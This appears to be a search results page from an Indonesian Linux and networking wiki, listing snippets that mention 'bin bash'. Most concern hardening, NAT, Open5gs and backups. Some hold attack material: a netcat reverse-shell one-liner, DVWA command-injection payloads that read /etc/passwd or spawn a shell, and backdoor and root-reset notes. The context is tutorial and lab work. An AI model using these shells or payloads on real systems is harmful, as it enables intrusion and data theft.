Cari
124 buku memuat "bin bash" · halaman 5 dari 7
20 Linux Server Hardening Security Tips
# awk -F: '($3 == "0") {print}' /etc/passwd Anda harusnya hanya melihat satu kalimat ini root:x:0:0:root:/root:/bin/bash Jika anda melihat kalimat yang lain, buang atau pastikan account tersebut memang di ijinkan untuk menggunakan UID 0. Aktifkan sudoer …
Script NAT Proxy
… parameter yang perlu di perhatikan yaitu UPLINK NAT INTERFACES Pastikan bahwa anda mengisi ketiga-nya dengan benar isi script.sh #!/bin/bash # From: AHK <[email protected]> # To: [email protected] # Save this file and activate through # file_name …
Script untuk mencuri file youtube di /tmp
… tmp Sumber: https://onnocenter.or.id/wiki/index.php/Script_untuk_mencuri_file_youtube_di_/tmp vi curiyoutube.sh #!/bin/bash flash=$(ls -t /tmp/Flash* | head -n 1) destination=$(find ~/.mozilla -name sessionstore.js -exec sed 's/.*title:"\(^"*\).*selected …
Backdoors dan Persistence
… sistem. Contoh Backdoor di Ubuntu: User account dengan shell khusus: Membuat akun pengguna dengan shell khusus seperti `/bin/bash` yang memungkinkan eksekusi perintah secara langsung. Port listening yang tidak biasa: Membuka port yang tidak digunakan oleh …
Debian: single mode & reset password root
… _root First screen - grub - press e Modify kernel line: add single between ro quiet and at the end of this line add init=/bin/bash Press F10 When the prompt is root@(none):/# you have to remount the / partition to have read-write access: mount / -rw -o …
TCP port communication via nc
… verbose (menampilkan informasi lebih detail). -z : Mode zero (hanya melakukan koneksi tanpa mengirim data). Contoh Penggunaan Lanjutan: Membuat Shell Reverse: # Server (mendengarkan): nc -lvp 4444 # Klien (membuat koneksi): nc -e /bin/bash server_ip 4444
Forensic Command Injection Attack
… Command Injection: Contoh payload: Untuk menampilkan isi file: `' ; cat /etc/passwd ; '` Untuk menjalankan perintah shell: `' ; /bin/bash ; '` Catatan: Payload yang tepat akan tergantung pada konfigurasi DVWA dan sistem target. Masukkan payload ke dalam …
TCP port communication via nc (en)
… connections without sending data). Advanced Usage Examples: Creating a Reverse Shell: # Server (listening): nc -lvp 4444 # Client (making the connection): nc -e /bin/bash server_ip 4444 This allows you to execute commands on the server from the client.
20 Linux Server Hardening Security Tips (en)
… UID set to 0: # awk -F: '($3 == "0") {print}' /etc/passwd You should only see this line: root:x:0:0:root:/root:/bin/bash If you see any other lines, remove them or ensure that the account is indeed authorized to use UID 0. Enable sudoers Enable several …
Open5gs: Konfigurasi ogstun dan ogstun2
… .x.x.x/y -j DROP Konfigurasi dua interface TUN ogstun dan ogstun2 Jika dibutuhkan dua Interface, dapat menggunakan script di bawah ini: #!/bin/bash sudo sysctl -w net.ipv4.ip_forward=1 sudo sysctl -w net.ipv6.conf.all.forwarding=1 ip tuntap add name ogstun …
Open5gs: docker
… container. Login dengan credential berikut, Username : admin Password : 1423 Gunakan Web UI, tambahkan subscriber Provisioning IMSI dan MSISDN dengan OsmoHLR sebagai berikut, Pertama-tama, login ke osmohlr container docker exec -it osmohlr /bin/bash
LLM: Ollama Pentest
… command and pressing Enter: nano ubuntu_pentest.sh 3. Copy and paste the following code into the nano text editor: #!/bin/bash echo "Welcome to Ubuntu 24.04 Penetration Testing!" echo "Performing the following tests:" echo "1. Port Scanning" echo "2 …
ModSecurity: Instalasi Ubuntu 22.04
… apache2 Verifikasi modsecurity Lakukan ini di server yang kita install modsecurity. Ketik, curl http://localhost/index.html?exec=/bin/bash Harusnya keluar, <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head …
Open5gs: IMS Install
!/bin/bash sudo sysctl -w net.ipv4.ip_forward=1 sudo sysctl -w net.ipv6.conf.all.forwarding=1 ip tuntap add name ogstun mode tun ip addr add 192.168.100.1/24 dev ogstun ip addr add fd84:6aea:c36e:2b69::/48 dev ogstun ip link set ogstun mtu 1400 ip link set …
FIREWALL: iptables: Create NAT (en)
… parameters to pay attention to: UPLINK NAT INTERFACES Make sure you correctly fill in all three. Internet Connection Sharing Script #!/bin/bash # From: AHK <[email protected]> # To: [email protected] # Save this file and activate through # file_name …
SECURITY: 20 Linux Server Hardening Security Tips (en)
… with UID set to 0: # awk -F: '($3 == "0") {print}' /etc/passwd You should only see this line: root:x:0:0:root:/root:/bin/bash If you see any other lines, remove them or ensure those accounts are indeed allowed to use UID 0. Enable sudoers Enable some users …
Instalasi, Operasi dan Strategi Rapid Jurnal Backup dengan Restic
a. Buat file script: `rapid-backup.sh` #!/bin/bash # Folder yang ingin dibackup SOURCE="/home/namapengguna/Documents" # Lokasi repo Restic REPO="/home/namapengguna/backups/restic-repo" # File password PASS="/home/namapengguna/.restic-password.txt" # …
LLM: ubuntu 24.04 ollama + open-webui gpu full docker
… Kalau mau, saya bisa tambahkan contoh file Caddy/Traefik untuk HTTPS dan multi-user auth. Download Models docker exec -it ollama /bin/bash ollama pull deepseek-r1:7b ollama pull gemma3:4b ollama pull qwen3:8b ollama pull llama3.1:8b ollama pull llama3.2:3b …
OS: Proyek Akhir (OBE-Centric)
… Init system (systemd minimal) Langkah Umum sudo debootstrap noble mydistro http://archive.ubuntu.com/ubuntu chroot mydistro /bin/bash Tambahkan service minimal, lalu boot di VM. Fokus penilaian: Pemahaman boot → kernel → user space → service. B. OpenWRT …
Membangun Gateway Packet Radio di Linux
… id to use first_uid 2001 # # maximum user id max_uid 3000 # # where to add the home directory for the new users home /home/ax25 # # user shell shell /bin/bash # # bind user id to callsign for outgoing connects. associate yes Pranala Menarik Linux Howto